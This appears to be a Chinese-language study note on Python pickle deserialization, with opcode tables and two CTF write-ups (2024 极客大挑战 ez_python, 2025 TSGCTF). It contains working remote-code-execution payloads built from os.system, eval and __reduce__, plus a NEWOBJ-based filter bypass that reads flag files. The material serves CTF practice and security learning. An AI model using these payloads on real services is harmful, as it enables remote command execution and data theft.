Pickle https://goodapple.top/archives/1069 pickle反序列化比java和php的危害要大不少 因为利用起来比较容易,很轻松可以RCE 经常和其它基础漏洞配合起来使用
能够序列化的对象
None
bool
int,float,complex
元素全部为可打包对象的tuple、list、set 和 dict
函数
使用def定义的模块顶层的函数(lambda不行)
内置函数
类
实例对象
__dict__属性和__getstate__()函数的返回值为可序列化对象
PS:对于不能序列化的数据会抛出PicklingError异常
opcode和Bytecode pickle的序列化数据的一种格式是opcode(直译就是操作码)
是一种独立的栈语言,
Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑
例如:
def add (a, b ): return a + b
转换成指令流:
2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE
这整个指令流被称为Bytecode(但实际上更普遍的被称为opcode)
而类似LOAD_FAST的单个指令就是一个普遍的opcode
pickle opcode Pickle Opcode: 是给 Unpickler (Pickle 虚拟机) 看的,专门用于构建对象
刚刚介绍的正常opcode包含很多复杂的指令逻辑例如做加法 (BINARY_ADD)、比较大小 (COMPARE_OP)、循环 (JUMP_ABSOLUTE)。
但pickle的opcode只支持存储与堆叠,旨在恢复数据
以下是大部分常见pickle opcode
Opcode (Char/Hex)
Name
Description (功能描述)
基础控制与数值
. (0x2e)
STOP
结束 Pickle 流,反序列化完成
N (0x4e)
NONE
推送 None 到栈顶
I (0x49)
INT
推送整数 (文本格式)
F (0x46)
FLOAT
推送浮点数 (文本格式)
S (0x53)
STRING
推送字符串 (带引号的文本格式)
V (0x56)
UNICODE
推送 Unicode 字符串
K (0x4b)
BININT1
推送 1 字节无符号整数
M (0x4d)
BININT2
推送 2 字节无符号整数
J (0x4a)
BININT
推送 4 字节有符号整数
容器构建 (List/Dict/Tuple)
( (0x28)
MARK
推送标记 (Mark) 到栈顶,用于界定容器边界
l (0x6c)
LIST
构建列表 (从栈顶直到 Mark)
d (0x64)
DICT
构建字典 (从栈顶直到 Mark)
t (0x74)
TUPLE
构建元组 (从栈顶直到 Mark)
] (0x5d)
EMPTY_LIST
推送一个空列表
} (0x7d)
EMPTY_DICT
推送一个空字典
a (0x61)
APPEND
将栈顶元素 append 到栈顶下方的列表中
e (0x65)
APPENDS
批量 append (从 Mark 开始) 到列表
s (0x73)
SETITEM
设置字典键值对 (key, value)
u (0x75)
SETITEMS
批量设置字典键值对 (从 Mark 开始)
对象与类
c (0x63)
GLOBAL
导入模块和类 (Module.Class) 并推送到栈
R (0x52)
REDUCE
调用可调用对象 (通常用于通过类和参数重建对象)
b (0x62)
BUILD
调用 __setstate__ 或更新 __dict__ 来恢复对象状态
o (0x6f)
OBJ
构建类实例 (旧协议,基于栈上的类和参数)
i (0x69)
INST
实例化对象 (相当于 GLOBAL + MARK + BUILD 的旧版组合)
\x81 (0x81)
NEWOBJ
(Proto 2+) 直接创建新对象实例 (不调 __init__)
Memoization (记忆/引用)
p (0x70)
PUT
将栈顶对象存入 memo (文本索引)
q (0x71)
BINPUT
将栈顶对象存入 memo (1字节二进制索引)
r (0x72)
LONG_BINPUT
将栈顶对象存入 memo (4字节二进制索引)
g (0x67)
GET
从 memo 获取对象 (文本索引)
h (0x68)
BINGET
从 memo 获取对象 (1字节二进制索引)
栈操作
0 (0x30)
POP
弹出栈顶元素
2 (0x32)
DUP
复制栈顶元素
这里用一个简单的最常规的命令执行来举例:
opcode=b'''cos system (S'whoami' tR.''' cos system (S'ls' tR.
这里的栈是pickle模块内部的一个列表
“压入栈”实际就是append进列表
过程模拟:
第一步
| | | os.system | <--- 栈顶 |_______________|
第二步
| (MARK) | <--- 栈顶 | os.system | |_______________|
第三步
| 'whoami' | <--- 栈顶 | (MARK) | | os.system | |_______________|
第四步t构建元组
| ('whoami' ,) | <--- 栈顶 (这是一个元组,作为参数列表) | os.system | <--- 这里的 os.system 一直没动 |_______________|
第五步R执行函数,要求栈顶为参数元组,栈顶的下面一个元素为可执行函数
第六步.停止
那么了解这个过程后拓展其余的执行函数的过程就很清晰了
字节码o:
opcode3=b'''(cos system S'whoami' o.'''
以上一个mark上的第一个数据(必须是可执行函数)为函数
以第2~n个数据为函数参数执行
字节码i:
opcode2=b'''(S'whoami' ios system .'''
用类似c的方式获取到一个可执行函数,然后寻找上一个mark,以mark和自身之间的入栈数据作为元组,以元组作为参数执行
例题 2024极客大挑战-ez_python 常规注册登录,暂时没有发现可攻击的点 但登录后提示查看:/starven_s3cret 成功获得源码:
import osimport secretsfrom flask import Flask, request, render_template_string, make_response, render_template, send_fileimport pickleimport base64import blackapp = Flask(__name__) @app.route('/' ) def index (): return render_template_string(open ('templates/index.html' ).read()) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : usname = request.form['username' ] passwd = request.form['password' ] if usname and passwd: heart_cookie = secrets.token_hex(32 ) response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart" ) response.set_cookie('heart' , heart_cookie) return response return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): heart_cookie = request.cookies.get('heart' ) if not heart_cookie: return render_template('warning.html' ) if request.method == 'POST' and request.cookies.get('heart' ) == heart_cookie: statement = request.form['statement' ] try : heal_state = base64.b64decode(statement) print (heal_state) for i in black.blacklist: if i in heal_state: return render_template('waf.html' ) pickle.loads(heal_state) res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!" ) flag = os.getenv("GEEK_FLAG" ) or os.system("cat /flag" ) os.system("echo " + flag + " > /flag" ) return res except Exception as e: print ( e) pass return "Error!!!! give you hint: maybe you can view /starven_s3cret" return render_template('login.html' ) @app.route('/monologue' ,methods=['GET' ,'POST' ] ) def joker (): return render_template('joker.html' ) @app.route('/starven_s3cret' , methods=['GET' , 'POST' ] ) def secret (): return send_file(__file__,as_attachment=True ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=False )
可见是一个pickle注入题目 而登录时对starven学长说的话就是需要注入的内容,需要base64加密 那么构造如下poc:
import pickleimport base64print (base64.b64encode(pickle.dumps("111" )))import pickleimport osimport base64import requestsclass aaa (): def __reduce__ (self ): try : print (111 ) return (eval ,("__import__('os').system('xxx')" ,)) except : pass a = aaa() print (base64.b64encode(pickle.dumps(a)))pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4=" ))
即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤, 另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:
return (eval ,("__import__('os').system('env > templates/index.html')" ,))
再回到首页即可成功获得flag 当然预期解的打法那就是写内存马
2025TSGCTF 直接使用nc连接,
payload = b'\x80\x03' payload += b'cbuiltins\ntuple\n' payload += b'cbuiltins\nmap\n' payload += b'\x28' payload += b'cos\nsystem\n' payload += b'\x28' payload += b'S\'cat flag.txt\'\n' payload += b'l' payload += b't' payload += b'\x81' payload += b'\x85' payload += b'\x81' payload += b'.' print (payload.hex ())
这里首先设置了协议为3,不过实际测试似乎不需要
然后实现的操作实际上是
tuple (map (os.system, ['cat flag.txt' ]))
这里的思路和java反序列化中cc链有异曲同工之妙
pickle完整操作码表 Hex ASCII Name Description (中文描述) ================================================================================ -------------------------------------------------------------------------------- \x28 ( MARK 压入标记对象 (MARK),用于界定列表/元组范围 \x29 ) EMPTY_TUPLE 压入一个空元组 \x2e . STOP 反序列化结束 (Stop),返回栈顶元素 \x30 0 POP 弹出(丢弃)栈顶元素 \x31 1 POP_MARK 弹出栈顶直到遇到标记 (MARK) 并丢弃 \x32 2 DUP 复制栈顶元素并再次压入 \x46 F FLOAT 压入浮点数 (文本格式) \x47 G BINFLOAT 压入浮点数 (8 字节二进制格式) \x49 I INT 压入整数 (文本格式) \x4a J BININT 压入4 字节有符号整数 \x4b K BININT1 压入1 字节无符号整数 \x4c L LONG 压入长整数 \x4d M BININT2 压入2 字节无符号整数 \x4e N NONE 压入 None \x50 P PERSID 压入持久化ID对象 \x51 Q BINPERSID 压入持久化ID对象 (二进制) \x52 R REDUCE 执行函数 (取出栈顶元组作为参数,次栈顶作为函数执行) \x53 S STRING 压入字符串 (文本格式,引号包裹) \x54 T BINSTRING 压入字符串 (二进制格式) \x55 U SHORT_BINSTRING 压入短字符串 (长度 < 256 ) \x56 V UNICODE 压入 Unicode 字符串 \x58 X BINUNICODE 压入 Unicode 字符串 (二进制) \x5d ] EMPTY_LIST 压入一个空列表 \x61 a APPEND 将对象追加到列表 (stack[-1 ] append to stack[-2 ]) \x62 b BUILD 通过 setstate 或 dict 更新构建对象 \x63 c GLOBAL 导入全局对象 (格式: module\nname\n) \x64 d DICT 构建字典 (从 MARK 开始) \x65 e APPENDS 扩展列表 (将切片扩展到列表) \x66 f PUT (已废弃) 同 PUT \x67 g GET 从 Memo 获取对象 (文本索引) \x68 h BINGET 从 Memo 获取对象 (1 字节二进制索引) \x69 i INST 构建类实例 (相当于 c + o) \x6a j LONG_BINGET 从 Memo 获取对象 (4 字节二进制索引) \x6c l LIST 构建列表 (从 MARK 开始) \x6f o OBJ 构建类对象 (利用栈上的参数) \x70 p PUT 存入 Memo (文本索引) \x71 q BINPUT 存入 Memo (1 字节二进制索引) \x72 r LONG_BINPUT 存入 Memo (4 字节二进制索引) \x73 s SETITEM 字典赋值 (d[k]=v) \x74 t TUPLE 构建元组 (从 MARK 开始) \x75 u SETITEMS 字典批量赋值 \x7d } EMPTY_DICT 压入一个空字典 -------------------------------------------------------------------------------- \x80 N/A PROTO 声明协议版本 (如 \x80\x03) \x81 N/A NEWOBJ 实例化类 (调用 __new__,WAF 绕过神器) \x82 N/A EXT1 扩展代码 (1 字节) \x83 N/A EXT2 扩展代码 (2 字节) \x84 N/A EXT4 扩展代码 (4 字节) \x85 N/A TUPLE1 构建单元素元组 (无需 MARK) \x86 N/A TUPLE2 构建双元素元组 (无需 MARK) \x87 N/A TUPLE3 构建三元素元组 (无需 MARK) \x88 N/A NEWTRUE 压入 True \x89 N/A NEWFALSE 压入 False \x8a N/A LONG1 长整数 (1 字节长度前缀) \x8b N/A LONG4 长整数 (4 字节长度前缀) \x8c N/A SHORT_BINUNICODE 短 Unicode 字符串 (长度 < 256 ) \x8d N/A BINUNICODE8 长 Unicode 字符串 (8 字节长度前缀) \x8e N/A BINBYTES8 长 Bytes 对象 (8 字节长度前缀) \x8f N/A EMPTY_SET 压入空集合 (Set ) \x90 N/A ADDITEMS 向集合添加元素 \x91 N/A FROZENSET 构建不可变集合 (Frozenset) \x92 N/A NEWOBJ_EX 实例化类 (带关键字参数) \x93 N/A STACK_GLOBAL 栈上导入全局对象 (Protocol 4 +) \x94 N/A MEMOIZE 自动存入 Memo (无需指定索引) \x95 N/A FRAME 帧标记 (用于分块传输) \x96 N/A BYTEARRAY8 压入 ByteArray 对象 \x97 N/A NEXT_BUFFER 压入带外缓冲区 (Pickle 5 ) \x98 N/A READONLY_BUFFER 设为只读缓冲区 (Pickle 5 )